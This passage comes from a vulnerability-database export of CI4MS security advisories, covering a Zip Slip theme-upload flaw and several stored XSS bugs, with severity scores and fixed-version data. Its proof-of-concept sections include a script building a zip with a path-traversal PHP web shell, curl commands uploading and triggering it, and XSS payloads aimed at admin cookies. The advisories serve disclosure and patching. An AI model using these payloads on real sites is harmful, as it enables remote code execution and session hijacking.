        'theme' => ['label' => lang('Theme.backendTheme'), 'rules' => 'uploaded[theme]|ext_in[theme,zip]|mime_in[theme,...]'],
    ]);
    if ($this->validate($valData) == false) return redirect()->route('backendThemes')->withInput()->with('errors', $this->validator->getErrors());
    $file = $this->request->getFile('theme');
    $tempPath = WRITEPATH . 'tmp/' . str_replace('_theme.zip', '', $file->getName()) . '/';
    $zip = new \ZipArchive();
    if ($zip->open($file->getTempName()) === true) {
        $zip->extractTo($tempPath);     // no entry-name validation
        $zip->close();
    } ...
    $log = install_theme_from_tmp($themeName);
    ...
}
```

A ZIP containing entries like `../../public/shell.php` is extracted outside `writable/tmp/` into directories served by PHP. The author validates entries correctly in modules/Methods/Controllers/Methods.php:165-175 with a realpath + regex loop; the same check is missing here.

Routing: modules/Theme/Config/Routes.php binds `POST backend/themes/themesUpload` to Theme::upload with `role=create`. Although ThemeConfig itself does not list the route in csrfExcept, the upload handler is still reachable cross-site by any admin browser that has `create` on the Theme module, and any admin with that role can trigger it directly.

A companion Zip Slip bug in Backup::restore is tracked separately as GHSA-xp9f-pvvc-57p4.

### PoC
Build the archive:

```python
python3 -c "
import zipfile
with zipfile.ZipFile('evil_theme.zip','w') as z:
    z.writestr('../../public/shell.php', '<?php system(\$_GET[\"c\"]); ?>')
    z.writestr('info.xml', '<theme name=\"x\"/>')
"
```

Upload through the Theme manager with an authenticated session that has theme create:

```bash
curl -i -b 'ci4ms_session=<SESSION_ID>' \
  -F 'theme=@evil_theme.zip' \
  https://target.example.com/backend/themes/themesUpload
```

Trigger the shell:

```bash
curl 'https://target.example.com/shell.php?c=id'
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

### Impact
Any ci4ms account that can upload a theme can write arbitrary files under the application root and gain remote code execution on the server, fully compromising the installation, the database credentials stored in .env, and any content the site handles.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2026-41203
reference_id
reference_type
scores
0
value 0.00464
scoring_system epss
scoring_elements 0.64693
published_at 2026-06-07T12:55:00Z
1
value 0.00464
scoring_system epss
scoring_elements 0.64694
published_at 2026-06-05T12:55:00Z
2
value 0.00464
scoring_system epss
scoring_elements 0.64703
published_at 2026-06-06T12:55:00Z
3
value 0.00534
scoring_system epss
scoring_elements 0.67791
published_at 2026-06-09T12:55:00Z
4
value 0.00534
scoring_system epss
scoring_elements 0.67775
published_at 2026-06-08T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2026-41203
1
reference_url https://github.com/ci4-cms-erp/ci4ms
reference_id
reference_type
scores
0
value 9.4
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
1
value CRITICAL
scoring_system generic_textual
scoring_elements
url https://github.com/ci4-cms-erp/ci4ms
2
reference_url https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.5.0
reference_id
reference_type
scores
0
value 9.4
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
1
value CRITICAL
scoring_system generic_textual
scoring_elements
2
value Track*
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:T/P:M/B:A/M:M/D:R/2026-05-07T13:49:29Z/
url https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.5.0
3
reference_url https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-xv3r-vr59-95rg
reference_id
reference_type
scores
0
value CRITICAL
scoring_system cvssv3.1_qr
scoring_elements
1
value 9.4
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
2
value CRITICAL
scoring_system generic_textual
scoring_elements
3
value Track*
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:T/P:M/B:A/M:M/D:R/2026-05-07T13:49:29Z/
url https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-xv3r-vr59-95rg
4
reference_url https://nvd.nist.gov/vuln/detail/CVE-2026-41203
reference_id
reference_type
scores
0
value 9.4
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
1
value CRITICAL
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2026-41203
5
reference_url https://github.com/advisories/GHSA-xv3r-vr59-95rg
reference_id GHSA-xv3r-vr59-95rg
reference_type
scores
0
value CRITICAL
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-xv3r-vr59-95rg
fixed_packages
0
url pkg:composer/ci4-cms-erp/ci4ms@0.31.5
purl pkg:composer/ci4-cms-erp/ci4ms@0.31.5
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/ci4-cms-erp/ci4ms@0.31.5
1
url pkg:composer/ci4-cms-erp/ci4ms@0.31.5.0
purl pkg:composer/ci4-cms-erp/ci4ms@0.31.5.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-cd9w-5f22-xkfk
1
vulnerability VCID-fjcm-syrk-87fg
2
vulnerability VCID-qrag-mndk-xbb7
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/ci4-cms-erp/ci4ms@0.31.5.0
2
url pkg:composer/ci4-cms-erp/ci4ms@0.31.5%2B0
purl pkg:composer/ci4-cms-erp/ci4ms@0.31.5%2B0
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/ci4-cms-erp/ci4ms@0.31.5%252B0
aliases CVE-2026-41203, GHSA-xv3r-vr59-95rg
risk_score 4.5
exploitability 0.5
weighted_severity 9.0
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-mds3-7xh3-mkgv
18
url VCID-p1q2-w18a-3kae
vulnerability_id VCID-p1q2-w18a-3kae
summary
CI4MS has stored XSS via Unescaped Blacklist Note in Admin User List
## Summary

The blacklist (ban) note parameter in `UserController::ajax_blackList_post()` is stored in the database without sanitization and rendered into an HTML `data-note` attribute without escaping. An admin with blacklist privileges can inject arbitrary JavaScript that executes in the browser of any other admin who views the user management page.

## Details

In `modules/Users/Controllers/UserController.php`, the `ajax_blackList_post()` method (line 344-362) accepts a `note` POST parameter with only a `required` validation rule:

```php
// Line 347 — validation only checks 'required', no sanitization
$valData = (['note' => ['label' => lang('Backend.notes'), 'rules' => 'required'],
             'uid' => ['label' => 'uid', 'rules' => 'required|is_natural_no_zero']]);

// Line 352 — raw user input passed directly to ban()
$user->ban($this->request->getPost('note'));
```

Shield's `Bannable::ban()` trait stores the message as-is:
```php
// vendor/codeigniter4/shield/src/Traits/Bannable.php
public function ban(?string $message = null): self
{
    $this->status         = 'banned';
    $this->status_message = $message;  // No escaping
    // ...
}
```

In the `users()` method (line 13-91), when building the DataTables response, the `status_message` is concatenated directly into HTML without escaping:

```php
// Line 55 — esc() IS used here (correct)
$result->fullname = esc($result->firstname) . ' ' . esc($result->surname);

// Line 58-59 — NO esc() on status_message (vulnerable)
if ($result->status == 'banned'):
    $result->actions .= '<button ... data-note="' . $result->status_message . '">'
```

The HTML string is returned as JSON (line 90) and DataTables renders it into the DOM. CSP is disabled (`$CSPEnabled = false` in `App.php`), and no `SecureHeaders` filter is applied.

## PoC

**Step 1 — Store XSS payload via ban endpoint:**
```bash
curl -X POST 'https://TARGET/backend/users/blackList' \
  -H 'X-Requested-With: XMLHttpRequest' \
  -H 'Cookie: ci_session=ADMIN_SESSION_WITH_UPDATE_PERM' \
  -d 'uid=2&note=%22+onmouseover%3D%22alert(document.cookie)%22+x%3D%22'
```

Expected response: `{"result":true,"error":{"type":"success","message":"..."}}`

**Step 2 — Trigger payload:**
Any admin navigating to `/backend/users` will receive HTML containing:
```html
<button ... data-note="" onmouseover="alert(document.cookie)" x="">
```

The XSS fires when the admin hovers over the blacklist button for the banned user.

**Alternative immediate-execution payload:**
```
note="><img src=x onerror=alert(document.cookie)>
```

## Impact

- **Session hijacking**: An attacker with blacklist privileges can steal session cookies of other admins (including superadmins who view the user list but are themselves protected from being banned).
- **Privilege escalation**: A lower-privileged admin could use stolen superadmin sessions to gain full control.
- **Persistent**: The payload persists in the database and fires every time the user list is loaded, affecting all admins who view the page.

## Recommended Fix

Wrap `status_message` with `esc()` to match the escaping already applied to other user fields on line 55:

```php
// In users() method, line 58-59 — change:
$result->actions .= '<button type="button" class="btn btn-outline-dark btn-sm open-blacklist-modal"
                        data-id="' . $result->id . '" data-status="' . $result->status . '" data-note="' . esc($result->status_message) . '"><i
```
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2026-39391
reference_id
reference_type
scores
0
value 0.00014
scoring_system epss
scoring_elements 0.02555
published_at 2026-06-06T12:55:00Z
1
value 0.00014
scoring_system epss
scoring_elements 0.02443
published_at 2026-06-09T12:55:00Z
2
value 0.00014
scoring_system epss
scoring_elements 0.02483
published_at 2026-06-08T12:55:00Z
3
value 0.00014
scoring_system epss
scoring_elements 0.02498
published_at 2026-06-07T12:55:00Z
4
value 0.00014
scoring_system epss
scoring_elements 0.02552
published_at 2026-06-05T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2026-39391
1
reference_url https://github.com/ci4-cms-erp/ci4ms
reference_id
reference_type
scores
0
value 4.8
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/ci4-cms-erp/ci4ms
2
reference_url https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.4.0
reference_id
reference_type
scores
0
value 4.8
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.4.0
3
reference_url https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-7cm9-v848-cfh2
reference_id
reference_type
scores
0
value 4.8
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
1
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
2
value MODERATE
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2026-04-08T15:18:05Z/
url https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-7cm9-v848-cfh2
4
reference_url https://nvd.nist.gov/vuln/detail/CVE-2026-39391
reference_id
reference_type
scores
0
value 4.8
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2026-39391
5
reference_url https://github.com/advisories/GHSA-7cm9-v848-cfh2
reference_id GHSA-7cm9-v848-cfh2
reference_type
scores
0
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-7cm9-v848-cfh2
fixed_packages
0
url pkg:composer/ci4-cms-erp/ci4ms@0.31.4.0
purl pkg:composer/ci4-cms-erp/ci4ms@0.31.4.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-cd9w-5f22-xkfk
1
vulnerability VCID-fjcm-syrk-87fg
2
vulnerability VCID-j32w-tcpz-1fak
3
vulnerability VCID-mds3-7xh3-mkgv
4
vulnerability VCID-qrag-mndk-xbb7
5
vulnerability VCID-ux28-acyz-kqd1
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/ci4-cms-erp/ci4ms@0.31.4.0
1
url pkg:composer/ci4-cms-erp/ci4ms@0.31.4%2B0
purl pkg:composer/ci4-cms-erp/ci4ms@0.31.4%2B0
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/ci4-cms-erp/ci4ms@0.31.4%252B0
aliases CVE-2026-39391, GHSA-7cm9-v848-cfh2
risk_score 3.1
exploitability 0.5
weighted_severity 6.2
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-p1q2-w18a-3kae
19
url VCID-pds3-bx1t-zfbt
vulnerability_id VCID-pds3-bx1t-zfbt
summary
CI4MS: Backup Management Full Account Takeover for All-Roles & Privilege-Escalation via Stored DOM Blind XSS
## Summary
### **Vulnerability: Stored DOM Blind XSS via Backup Management Filename (Persistent Payload Injection)**
- Stored Cross-Site Scripting (Blind XSS) via Unsanitized Backup Filename in Backup Management

### Description
The application fails to properly sanitize user-controlled input when handling backup uploads and processing backup metadata. An attacker can inject a malicious JavaScript payload into the backup filename via the uploaded `xss.sql`, which uses SQL functionality to insert the XSS payload server-side.

This stored payload is later rendered unsafely in multiple backup management views without proper output encoding, leading to stored blind cross-site scripting (Blind XSS).

### Affected Functionality
- Backup upload functionality
- Backup processing functionality
- Backup storage and retrieval logic

### Attack Scenario
- An attacker uploads `xss.sql` which uses SQL functionality to insert a malicious XSS payload into the backup filename field server-side.
- The application stores this filename without sanitization or encoding.
- The payload persists and executes whenever the backup filename is rendered in affected views.
- The attacker does not see immediate execution, making this a Blind XSS scenario that triggers only when an administrator or privileged user views the backup management panel.

### Impact
- Persistent Stored Blind XSS
- Execution of arbitrary JavaScript in victims’ browsers
- Privilege escalation when viewed by administrators or privileged users
- Full administrator account takeover
- Full account takeover across all roles
- Full compromise of the entire application

Endpoints:
- `/backend/backup/upload`
- `/backend/backup/`
- `/backup/{id}`

## Steps To Reproduce (POC)
1. Upload `xss.sql` via the Backup Upload functionality
2. Ensure the SQL executes and inserts an XSS payload into the backup filename field such as:
`<img src=x onerror=alert(document.domain)>`
3. Navigate to the Backup Management panel as an administrator
4. View the backup entry via the administrative panel
5. Notice the XSS payload executing automatically (Blind XSS)

## Remediation

- **Avoid unsafe DOM manipulation methods:** Do not use `.html()`, `innerHTML`, or similar sink functions in client-side JavaScript or server-side templating (e.g., PHP). Even when user input flowing into these sinks is not immediately apparent, they can introduce Cross-Site Scripting (XSS) vulnerabilities that an attacker may exploit.

- **Apply output encoding:** Implement HTML entity encoding on all user-controlled data before rendering it in the browser. This helps neutralize potentially malicious input.

- **Implement input sanitization:** Ensure that all user-supplied input is properly sanitized before processing or output. Currently, no sanitization mechanisms are in place, which should be addressed as a priority.

- **Enforce security headers and cookie attributes:**
  - **Content Security Policy (CSP):** Define and enforce a strict CSP to limit the execution of unauthorized scripts.
  - **HttpOnly flag:** Set the `HttpOnly` attribute on session cookies to prevent client-side script access.
  - **SameSite attribute:** Configure the `SameSite` cookie attribute to mitigate Cross-Site Request Forgery (CSRF) risks.
  - **Secure flag:** Ensure all cookies are transmitted only over HTTPS by enabling the `Secure` attribute.

  These measures collectively reduce the impact of XSS and help prevent escalation paths such as CSRF via XSS.

# Ready Video POC:
https://mega.nz/file/eNFXgAAA#IETbPcKwr5vVLqJIAdc3uy4qgcVTgyPb_2HhB4zcwAE
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2026-34563
reference_id
reference_type
scores
0
value 0.0005
scoring_system epss
scoring_elements 0.15923
published_at 2026-06-05T12:55:00Z
1
value 0.0005
scoring_system epss
scoring_elements 0.15872
published_at 2026-06-07T12:55:00Z
2
value 0.0005
scoring_system epss
scoring_elements 0.15912
published_at 2026-06-06T12:55:00Z
3
value 0.00058
scoring_system epss
scoring_elements 0.18292
published_at 2026-06-08T12:55:00Z
4
value 0.00058
scoring_system epss
scoring_elements 0.18312
published_at 2026-06-09T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2026-34563
1
reference_url https://github.com/ci4-cms-erp/ci4ms
reference_id
reference_type
scores
0
value 9.9
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
1
value CRITICAL
scoring_system generic_textual
scoring_elements
url https://github.com/ci4-cms-erp/ci4ms
2
reference_url https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.0.0
reference_id
reference_type
scores
0
value 9.9
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
1
value CRITICAL
scoring_system generic_textual
scoring_elements
url https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.0.0
3
reference_url https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-85m8-g393-jcxf
reference_id
reference_type
scores
0
value 9.9
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
1
value CRITICAL
scoring_system cvssv3.1_qr
scoring_elements
2
value CRITICAL
scoring_system generic_textual
scoring_elements
url https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-85m8-g393-jcxf
4
reference_url https://nvd.nist.gov/vuln/detail/CVE-2026-34563
reference_id
reference_type
scores
0
value 9.9
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
1
value CRITICAL
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2026-34563
5
reference_url https://github.com/advisories/GHSA-85m8-g393-jcxf
reference_id GHSA-85m8-g393-jcxf
reference_type
scores
0
value CRITICAL
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-85m8-g393-jcxf
fixed_packages
0
url pkg:composer/ci4-cms-erp/ci4ms@0.31.0
purl pkg:composer/ci4-cms-erp/ci4ms@0.31.0
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/ci4-cms-erp/ci4ms@0.31.0
1
url pkg:composer/ci4-cms-erp/ci4ms@0.31.0.0
purl pkg:composer/ci4-cms-erp/ci4ms@0.31.0.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-2v9s-x9dt-8ugb
1
vulnerability VCID-6nzs-j8gz-9ucu
2
vulnerability VCID-8x3z-1p5j-6qfa
3
vulnerability VCID-c1ux-y4qk-xfch
4
vulnerability VCID-e9xp-rar3-c7bp
5
vulnerability VCID-fjcm-syrk-87fg
6
vulnerability VCID-j32w-tcpz-1fak
7
vulnerability VCID-mds3-7xh3-mkgv
8
vulnerability VCID-p1q2-w18a-3kae
9
vulnerability VCID-qrag-mndk-xbb7
10
vulnerability VCID-ux28-acyz-kqd1
11
vulnerability VCID-w12h-33nr-bufh
12
vulnerability VCID-ye3h-3tu7-p3e7
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/ci4-cms-erp/ci4ms@0.31.0.0
2
url pkg:composer/ci4-cms-erp/ci4ms@0.31.0%2B0
purl pkg:composer/ci4-cms-erp/ci4ms@0.31.0%2B0
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/ci4-cms-erp/ci4ms@0.31.0%252B0
aliases CVE-2026-34563, GHSA-85m8-g393-jcxf
risk_score 4.5
exploitability 0.5
weighted_severity 9.0
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-pds3-bx1t-zfbt
20
url VCID-q2ya-p1za-aug5
vulnerability_id VCID-q2ya-p1za-aug5
summary
CI4MS: System Settings (Company Information) Full Platform Compromise & Full Account Takeover for All-Roles & Privilege-Escalation via Stored DOM XSS
## Summary
### **Vulnerability: Stored DOM XSS via System Settings – Company Information (Same-Page Attribute Breakout & Persistent Payload Injection)**
- Stored Cross-Site Scripting via Unsanitized Company Information Configuration Fields with Immediate Same-Page Execution

### Description
The application fails to properly sanitize user-controlled input within **System Settings – Company Information**. Several administrative configuration fields accept attacker-controlled input that is stored server-side and later rendered without proper output encoding.

Affected fields include, but are not limited to:
1. Company Name
2. Slogan
3. Company Phone
4. Company Mobile
5. Company Email
6. Google Maps iframe link
7. Company Logo and other media-related fields

Unlike the public-facing landing page injection vulnerability, this issue executes directly on the same settings page. The injected payload breaks out of the HTML attribute context and is immediately interpreted by the browser when rendered, resulting in same-page DOM-based stored XSS.

This represents different functionality and a separate vulnerability from public-facing rendering.

### Affected Functionality
- System Settings – Company Information configuration
- Same-page rendering of user-controlled input fields
- DOM attribute injection within form inputs
- Storage and retrieval of company information values

### Attack Scenario
- An attacker injects a malicious JavaScript payload into one or more Company Information fields.
- The payload breaks out of the HTML attribute context.
- The application stores and re-renders the payload without sanitization or encoding.
- The payload executes immediately on the same settings page.
- The script executes in the browser context of the authenticated user managing settings.

### Impact
- Persistent Stored XSS
- Immediate Same-Page DOM XSS execution
- Execution of arbitrary JavaScript in victims’ browsers
- Administrative privilege escalation
- Full administrator account takeover
- Full account takeover across all roles
- Full compromise of the entire platform

Endpoints:
- `/backend/settings/` (Company Information)

## Steps To Reproduce (POC)
1. Navigate to System Settings -> Company Information
2. Insert the following XSS payload into any Company Information field:
`test"><img src=1 onerror=alert()>" class="form-control" placeholder="Name" required>`
3. Save the settings
4. Observe that the payload breaks out of the input attribute context
5. The XSS executes immediately on the same page

## Remediation

- **Avoid unsafe DOM manipulation methods:** Do not use `.html()`, `innerHTML`, or similar sink functions in client-side JavaScript or server-side templating (e.g., PHP). Even when user input flowing into these sinks is not immediately apparent, they can introduce Cross-Site Scripting (XSS) vulnerabilities that an attacker may exploit.

- **Apply output encoding:** Implement HTML entity encoding on all user-controlled data before rendering it in the browser. This helps neutralize potentially malicious input.

- **Implement input sanitization:** Ensure that all user-supplied input is properly sanitized before processing or output. Currently, no sanitization mechanisms are in place, which should be addressed as a priority.

- **Enforce security headers and cookie attributes:**
  - **Content Security Policy (CSP):** Define and enforce a strict CSP to limit the execution of unauthorized scripts.
  - **HttpOnly flag:** Set the `HttpOnly` attribute on session cookies to prevent client-side script access.
  - **SameSite attribute:** Configure the `SameSite` cookie attribute to mitigate Cross-Site Request Forgery (CSRF) risks.
  - **Secure flag:** Ensure all cookies are transmitted only over HTTPS by enabling the `Secure` attribute.

  These measures collectively reduce the impact of XSS and help prevent escalation paths such as CSRF via XSS.

# Ready Video POC:
https://mega.nz/file/qEcFUIjR#2OKX78JgPQI2x5957GE-vx1zYzJv2a9JqjyBsrRFBkk
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2026-34562
reference_id
reference_type
scores
0
value 0.0002
scoring_system epss
scoring_elements 0.05574
published_at 2026-06-07T12:55:00Z
1
value 0.0002
scoring_system epss
scoring_elements 0.05587
published_at 2026-06-05T12:55:00Z
2
value 0.0002
scoring_system epss
scoring_elements 0.05571
published_at 2026-06-06T12:55:00Z
3
value 0.00023
scoring_system epss
scoring_elements 0.06594
published_at 2026-06-09T12:55:00Z
4
value 0.00023
scoring_system epss
scoring_elements 0.06593
published_at 2026-06-08T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2026-34562
1
reference_url https://github.com/ci4-cms-erp/ci4ms
reference_id
reference_type
scores
0
value 4.7
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/ci4-cms-erp/ci4ms
2
reference_url https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.0.0
reference_id
reference_type
scores
0
value 4.7
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L
1
value MODERATE
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2026-04-03T19:48:03Z/
url https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.0.0
3
reference_url https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-v897-c6vq-6cr3
reference_id
reference_type
scores
0
value 4.7
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L
1
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
2
value MODERATE
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2026-04-03T19:48:03Z/
url https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-v897-c6vq-6cr3
4
reference_url https://nvd.nist.gov/vuln/detail/CVE-2026-34562
reference_id
reference_type
scores
0
value 4.7
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2026-34562
5
reference_url https://github.com/advisories/GHSA-v897-c6vq-6cr3
reference_id GHSA-v897-c6vq-6cr3
reference_type
scores
0
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-v897-c6vq-6cr3
fixed_packages
0
url pkg:composer/ci4-cms-erp/ci4ms@0.31.0.0
purl pkg:composer/ci4-cms-erp/ci4ms@0.31.0.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-2v9s-x9dt-8ugb
1
vulnerability VCID-6nzs-j8gz-9ucu
2
vulnerability VCID-8x3z-1p5j-6qfa
3
vulnerability VCID-c1ux-y4qk-xfch
4
vulnerability VCID-e9xp-rar3-c7bp
5
vulnerability VCID-fjcm-syrk-87fg
6
vulnerability VCID-j32w-tcpz-1fak
7
vulnerability VCID-mds3-7xh3-mkgv
8
vulnerability VCID-p1q2-w18a-3kae
9
vulnerability VCID-qrag-mndk-xbb7
10
vulnerability VCID-ux28-acyz-kqd1
11
vulnerability VCID-w12h-33nr-bufh
12
vulnerability VCID-ye3h-3tu7-p3e7
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/ci4-cms-erp/ci4ms@0.31.0.0
1
url pkg:composer/ci4-cms-erp/ci4ms@0.31.0%2B0
purl pkg:composer/ci4-cms-erp/ci4ms@0.31.0%2B0
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/ci4-cms-erp/ci4ms@0.31.0%252B0
aliases CVE-2026-34562, GHSA-v897-c6vq-6cr3
risk_score 3.1
exploitability 0.5
weighted_severity 6.2
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-q2ya-p1za-aug5
21
url VCID-rw6x-cp73-1bgj
vulnerability_id VCID-rw6x-cp73-1bgj
summary
CI4MS: Permissions Management Full Account Takeover for All-Roles & Privilege-Escalation via Stored DOM XSS
## Summary
### **Vulnerability: Stored DOM XSS via Group / Role Management Fields (Administrative Context Execution)**
- Stored Cross-Site Scripting via Unsanitized Group / Role Management Inputs

### Description
The application fails to properly sanitize user-controlled input within group and role management functionality. Multiple input fields (three distinct group-related fields) can be injected with malicious JavaScript payloads, which are then stored server-side.

These stored payloads are later rendered unsafely within privileged administrative views without proper output encoding, leading to stored cross-site scripting (XSS) within the role and permission management context.

### Affected Functionality
- Group creation and editing functionality
- Role and permission assignment interfaces
- Storage and retrieval of group-related data

### Attack Scenario
- An attacker injects a malicious XSS payload into one or more group-related input fields.
- The application stores these values without sanitization or encoding.
- An administrator views the group or role management interface.
- The payload executes automatically in the administrator’s browser.

### Impact
- Persistent Stored XSS
- Execution of arbitrary JavaScript in victims’ browsers
- Privilege escalation when viewed by administrators
- Full administrator account takeover
- Full compromise of the entire application

Endpoints:
- `/backend/users/groupList/`

## Steps To Reproduce (POC)
1. Navigate to the Group / Role Management page
2. Insert an XSS payload into any of the three group-related input fields such as:
`<img src=x onerror=alert(document.domain)>`
3. Save the group or role changes
4. View the group/role management page as an administrator
5. Observe the XSS payload executing automatically

## Remediation
- Never use .html() again or any innerHTML-style like JS in your PHP, or any other sink, even if user inputs that flow into them are not clear, they still represent real world danger as an attacker can make use of this to exploit the application via XSS. And do HTML Encoding as much as possible and always do Sanitization, theres no sanitization there unfortunately. Also apply CSP, HttpOnly, SameSite, and Secure upon all application, they reduce severity of XSS & escalated-CSRF via XSS and do great jobs

# Ready Video POC:
https://mega.nz/file/6QUEXDbR#JXzYXg9bef_NeSUVFB4R03UeXLtAVtYwTRsdrHLlokU
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2026-34557
reference_id
reference_type
scores
0
value 0.00021
scoring_system epss
scoring_elements 0.06184
published_at 2026-06-05T12:55:00Z
1
value 0.00025
scoring_system epss
scoring_elements 0.07274
published_at 2026-06-09T12:55:00Z
2
value 0.00025
scoring_system epss
scoring_elements 0.07329
published_at 2026-06-06T12:55:00Z
3
value 0.00025
scoring_system epss
scoring_elements 0.07305
published_at 2026-06-07T12:55:00Z
4
value 0.00025
scoring_system epss
scoring_elements 0.07262
published_at 2026-06-08T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2026-34557
1
reference_url https://github.com/ci4-cms-erp/ci4ms
reference_id
reference_type
scores
0
value 9.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L
1
value CRITICAL
scoring_system generic_textual
scoring_elements
url https://github.com/ci4-cms-erp/ci4ms
2
reference_url https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-rpjr-985c-qhvm
reference_id
reference_type
scores
0
value 9.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L
1
value CRITICAL
scoring_system cvssv3.1_qr
scoring_elements
2
value CRITICAL
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2026-03-31T14:10:40Z/
